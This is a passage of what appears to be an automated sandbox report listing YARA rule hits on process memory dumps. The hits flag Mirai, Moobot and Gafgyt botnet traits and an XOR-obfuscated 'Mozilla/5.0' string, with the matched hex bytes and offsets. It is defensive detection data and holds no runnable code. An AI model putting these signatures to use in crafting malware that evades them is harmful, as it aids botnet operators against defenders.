46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6309.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7028.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7028.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7028.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7028.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7028.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7028.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7081.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6692.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6692.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6692.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6692.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6692.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6692.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6698.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7352.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6501.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6501.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6501.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6501.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6501.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6501.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6976.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6976.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6976.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6976.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6976.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6976.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7111.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7111.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7111.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7111.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7111.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7111.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7198.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7198.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7198.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7198.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7198.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 